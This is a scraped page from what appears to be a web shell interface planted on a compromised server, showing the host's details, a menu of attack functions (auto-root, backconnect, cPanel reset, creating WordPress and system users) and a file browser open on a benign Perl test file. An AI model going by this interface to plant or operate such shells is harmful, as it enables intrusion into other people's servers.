Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Class-Method-Modifiers /
t /
[ HOME SHELL ]
Name
Size
Permission
Action
00-report-prereqs.dd
8.98
KB
-rw-r--r--
00-report-prereqs.t
5.57
KB
-rw-r--r--
000-load.t
310
B
-rw-r--r--
001-error.t
1010
B
-rw-r--r--
002-cache.t
2.02
KB
-rw-r--r--
003-basic.t
2.06
KB
-rw-r--r--
004-around.t
1.31
KB
-rw-r--r--
005-return.t
457
B
-rw-r--r--
010-before-args.t
687
B
-rw-r--r--
011-after-args.t
769
B
-rw-r--r--
012-around-args.t
731
B
-rw-r--r--
020-multiple-inheritance.t
3.54
KB
-rw-r--r--
030-multiple-before.t
629
B
-rw-r--r--
031-multiple-after.t
622
B
-rw-r--r--
032-multiple-around.t
859
B
-rw-r--r--
034-multiple-everything.t
1.33
KB
-rw-r--r--
035-multiple-everything-twice....
2.33
KB
-rw-r--r--
040-twice-orig.t
487
B
-rw-r--r--
041-modify-parent.t
978
B
-rw-r--r--
051-undef-list-ctxt.t
912
B
-rw-r--r--
060-caller.t
1.15
KB
-rw-r--r--
070-modify-multiple-at-once.t
967
B
-rw-r--r--
080-multiple-modifiers.t
1.56
KB
-rw-r--r--
081-sub-and-modifier.t
3.07
KB
-rw-r--r--
090-diamond.t
683
B
-rw-r--r--
100-class-mop-method-modifiers...
1.95
KB
-rw-r--r--
110-namespace-clean.t
1.61
KB
-rw-r--r--
120-fresh.t
2.43
KB
-rw-r--r--
130-clean-underscore.t
1.74
KB
-rw-r--r--
140-lvalue.t
1.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 110-namespace-clean.t
use strict; use warnings; use Test::More 0.88; use if $ENV{AUTHOR_TESTING}, 'Test::Warnings'; use Test::Requires 'Moose'; # code for this sub is taken directly from # Test::CleanNamespaces::build_namespaces_clean sub imports { my $ns = shift; my $meta = Moose::Util::find_meta($ns) || Moose::Meta::Class->initialize($ns); my %methods = map { ($_ => 1) } $meta->get_method_list; my @symbols = keys %{ $meta->get_all_package_symbols('CODE') || {} }; my @imports = grep { !$methods{$_} } @symbols; } { package Foo; sub foo { print "normal Foo::foo sub\n"; } sub bar { print "normal Foo::bar sub\n"; } sub baz { print "normal Foo::baz sub\n"; } } ok( !(grep { $_ eq 'foo' || $_ eq 'bar' || $_ eq 'baz' } imports('Foo')), "original subs are not in Foo's list of imports", ) or note('Foo has imports: ' . join(', ', imports('Foo'))); # this should also pass: # namespaces_clean('Foo'); eval { package Foo; use Class::Method::Modifiers; Test::More::note 'redefining Foo::foo'; around foo => sub { my $orig = shift; my $ret = $orig->(@_); print "wrapped foo sub\n" }; around bar => sub { print "wrapped bar sub\n" }; around baz => sub { print "wrapped baz sub\n" }; }; ok( !(grep { $_ eq 'foo' || $_ eq 'bar' || $_ eq 'baz' } imports('Foo')), "modified subs are not in Foo's list of imports", ) or note('Foo has imports: ' . join(', ', imports('Foo'))); # this should also still pass, except for the 'before', 'around' and 'after' # subs that CMM itself imported which should be cleaned: # namespaces_clean('Foo'); done_testing;
Close
